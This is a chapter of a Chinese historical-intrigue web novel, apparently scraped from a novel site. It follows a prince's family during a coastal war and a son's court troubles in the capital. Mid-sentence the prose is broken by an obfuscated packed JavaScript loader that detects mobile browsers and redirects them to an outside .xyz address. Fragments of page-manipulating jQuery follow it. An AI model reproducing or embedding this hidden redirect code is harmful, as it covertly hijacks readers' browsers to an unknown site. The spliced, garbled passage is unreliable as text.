38.风刀霜剑严相逼
作品:《谋你首级》 前线也不好过,倭寇虽然几次交锋没讨到便宜,不敢主动出击,但仍然黑压压的占着海关,寸步不让。
一转眼,从打仗到僵持,过去了两年,这两年时间,威城百姓逃的逃,散的散,威城俨然已经成了一座“军城”。
赵王纯属硬撑,几乎耗得弹尽粮绝,连郑道这等父母官都已经挺在前线上,青省几乎是举全省之力,扛住了倭寇进攻,顶住炮火,硬是将其牢牢牵制在威城。
赵王眼见着朝廷靠不住,手里钱粮不够用,转过头就盯上了盐。
他没办法,那么多人,总得吃饭。
民以食为天,自古盐就由朝廷控制,这可是个利润极大的营生,国库三分之一的收入都来自盐税。
赵王痛定思痛,还是下手去油锅里捞了这把钱。
逼到这份上,将在外,君命有所不受。
这事儿是瞒不过赵王妃的。
赵王妃是续弦,乃是英宗时翰林徐怀里之女,闺名徐文,正逢十四五,父亲外调任官时死了,孤女一个,正值青春时,英宗赐婚给了赵王做续弦。
赵王妃所生只有一个安丘墟,安沉陆顶着亲封世子的名头回来的时候,安丘墟尚在腹中。
老夫少妻,半路出家,横插一个发妻的儿子,还是板上钉钉的世子,这哪能一条心,不过是同床异梦,凑合日子罢了。
赵王妃不是没动过别的心思,但是这安沉陆简直是铁板一块,外祖站着世家,身后有着英宗,动掉一根汗毛,赵王妃就得掂量掂量自己娘家剩的那点功绩够不够抵。
后来也就算了。
但是一打仗,安沉陆迫不得已上京,明眼人都看得出来这是要他当质子,赵王妃的心思就又活络了,不过她胆小,不敢做的太过,只是在他上路前将他身边都换成了自己的心腹。
赵王妃本也不愿安丘墟上战场,他才小小年纪,尚未取字,要是出点什么意外,那真是掏去她心肝。
但,不上战场,怎么当藩王呢?
赵王去盐上捞油水的事情赵王妃隐约知道,但她绝不允许安丘墟也跟着父亲蹚浑水,如今这个形式越看越乱,上阵父子兵,长子上京,只剩下安丘墟。
赵王妃觉得心焦,只好称病,硬说自己危在旦夕,把安丘墟召回了自己身边。
少年人总是觉得这世间没有自己不行。
安丘墟一进门,就看见赵王妃正悠哉悠哉喝茶。
茶碗一放下,赵王妃这才抬眼,眯起眼,伸手像招弄小孩一样叫他过去。
安丘墟不由得窜起一股火气。
他上前线时日不短了,军务繁忙,接到母亲重病的消息快马加鞭回来,却看见这么一番景象,哪里能不气。
安丘墟站着没动。
赵王妃不恼,笑着起身走过去,点头道:“果然是长大了,前线吃苦果然历练出来了。”
她身后的婆子立刻接话道:“王妃说的是,咱们公子如今往这一站,真是稳重多了。”
安丘墟没说话,拧着眉头。
赵王妃当没看见,只说:“看滚的这一身土,快去换了常服再来见我。”
安丘墟仍是没动。
这时赵王妃的脸色终于阴沉下来了。
“你也老大不小了,还要耍小孩子脾气吗?还不快去!”
安丘墟终于动了,不过却是往府外走,没走两步,就被人拦下了。
“你上哪去?”赵王妃款步过去,“我告诉你,回来了就好好念些书,不准再往外去。”
安丘墟再压不住火气,转过身道:“前线事多,母亲见谅,既然没什么事,好生休养,莫要再耽误军机。”
赵王妃冷笑一声,说道:“你如今是有本事的,上了前线就了不得了,你兄长要是不走,恐怕还没你的份。”
安丘墟闻言终于控制不住怒火,脾气全朝着赵王妃喷了过去。
“母亲好手段,早就把王府把持了,兄长上京连个心腹都不给留,当我不知道么?你打算盘也小声些,珠子崩我脸上是小事,往后兄长继位担心后事才是大的。”
赵王妃也气的乱颤,好好一个贵妇人捂着胸口,一张脸涨红,头上珠钗耳饰乱摇,要不是身边婆子扶着,只怕要栽倒在地。
“哎呦您快少说两句,王妃这一片苦心都是当娘的不放心,您也是读书识字的,怎么好气她。”婆子一边搀着赵王妃,一边对安丘墟道。
安丘墟倒不吃这一套,只是说道:“我如今在前线,就是军命在身,身为前锋官,怎么能临阵脱逃,当年兄长生死攸关尚能护住军旗,如今到我难不成还怕死吗?”
赵王妃听他说这话就心慌,指着安丘墟鼻子道:“你这是不孝!”
安丘墟没再顶回去,负气就走。
赵王妃即刻就命人拦住了安丘墟,硬是将他绑回了屋里,另派十数人轮番守着。
岂料安丘墟骨头也是硬,关在屋里,半夜把窗户卸了,正翻窗,抬眼一看,赵王妃正站在院门口,身边婆子提着灯,照得赵王妃脸色阴沉,一双眼正盯着他。
安丘墟只得退了回去。
赵王妃没进屋,只是留下一个食盒,加派了人手看管安丘墟。
第二天一早,安丘墟还是不见了。
等赵王妃去找的时候,安丘墟已经在赶去前线的路上了。
早先球球蛋蛋跟着兄长混的小玩意儿,不知道什么时候,也循着兄长的路,悄悄地长起来了。
策马的缰绳带起风声,模糊的身影一闪而过,马蹄声渐远,打更声从远处传来,锣响从青省传至京城的街头,惊醒了安沉陆。
他从入京就少有安眠,躺在床上揉着眉头,闭眼尝试再睡一会,心里却越发纷乱,不得已翻身又坐起来。
今日方儒私下弹劾了赵王,原因是赵王上的折子,要求将津城的火铳营调至前线,还提到若是朝廷不能及时反应,就自己造。
这折子惹得永清帝勃然大怒,连发三道圣旨怒斥赵王乱臣贼子,意图谋反。
这下安沉陆从朝堂上不起眼的人变成了万众瞩目,实在是把他的境地弄得难堪。
且不说现在是在京城,就是仍在前线,被扣上这么个帽子都够呛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772194|166705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
世家并不愿保他,而是借着这个机会猛戳永清帝肺管子,当庭把这件事拿出来说,意图逼着永清帝尽快出兵出钱。
朝堂上,安沉陆夹在中间,世家拿他当刀使,话里话外都是在说安沉陆应该给个态度,永清帝那边则是满含威胁,明刀暗枪警告他小心性命不保。
好不容易装傻充愣下了朝,世家对他不满,新党认为他有二心,整得两边不待见,顺便齐珏还把之前安沉陆挑拨黄文明的事一起抖了出来。
这下完了,安沉陆简直是猪八戒照镜子,里外不是人,到哪都备受嫌弃。
更不要提太后,安沉陆递帖求见,太后只是派个太监皮笑肉不笑的回他一句“太后不便见客”就把他打发走。
赵王这一封折子可算是害惨了安沉陆。
忽然,窗框响了一下,安沉陆从思绪里抽身,猛地抬头,就见窗外站着个人影。
“兄长,是我。”
是安邦的声音。
安沉陆松下一口气。
等开了门,安邦这才掀下了罩袍的兜帽,她身后跟着的,竟是太后赏下来的一个侍女。
那侍女安沉陆颇有印象,是个厉害人物,即使安沉陆多有忌惮,下手料理的府里的人,她也能巧妙的避开,因此成为了府里为数不多留下的人。
安邦进了门,那侍女就知趣的退下去了,安邦笑了笑,说道:“她做宫女时,父母在宫外病重,我放了她出宫去见。”
安沉陆了然,点了点头。
“兄长,可想好了?”安邦坐下来,给自己倒了杯茶。
“恐怕公主的好意臣受不起。”安沉陆皮笑肉不笑,伸手按住了她喝茶的杯口,“公主就不怕这茶有毒?想要我命的人可不止一方。”
“正是人人都想要你的命,我才显得弥足珍贵,不是吗?”安邦眯了眯眼,将茶杯从安沉陆手底下撤出来。
“那封折子是怎么到的方儒手里,黄大人事情的始末又是怎么回事,想必公主非常清楚。”安沉陆微微一笑。
安邦喝了一口茶,放下茶杯,才慢条斯理在黑暗中抬起头来盯着安沉陆。
“这原本是谢大人的职务,太后先知道,正打算当庭发难,我怕你被新党拉拢,这才出此下策。”
安邦倒也坦诚,三言两语就将事情抖了个干净。
这下安沉陆有些不会了。
绝对的坦诚背后是绝对的实力,安邦即使这么做了,安沉陆也不得不接受安邦的提议。
她根本不怕安沉陆知道,因为安邦非常清楚,此时,只有她能提供安沉陆想要的了。
黑暗里,安邦目光灼灼的盯着安沉陆,眼里全是兴奋。
朝中武将式微,永清帝有意打压,重文轻武,但边关一旦大战,局势会瞬间反转。
什么时候打起来,只是时间问题。
安邦看安沉陆就是看一把绝世利刃,没人比她更了解这个表兄了,他们两个一脉相承,只要安沉陆愿意,必然能做出极大的助力。
夜风呼啸过去,“啪”的一声响,吹动了窗棂。

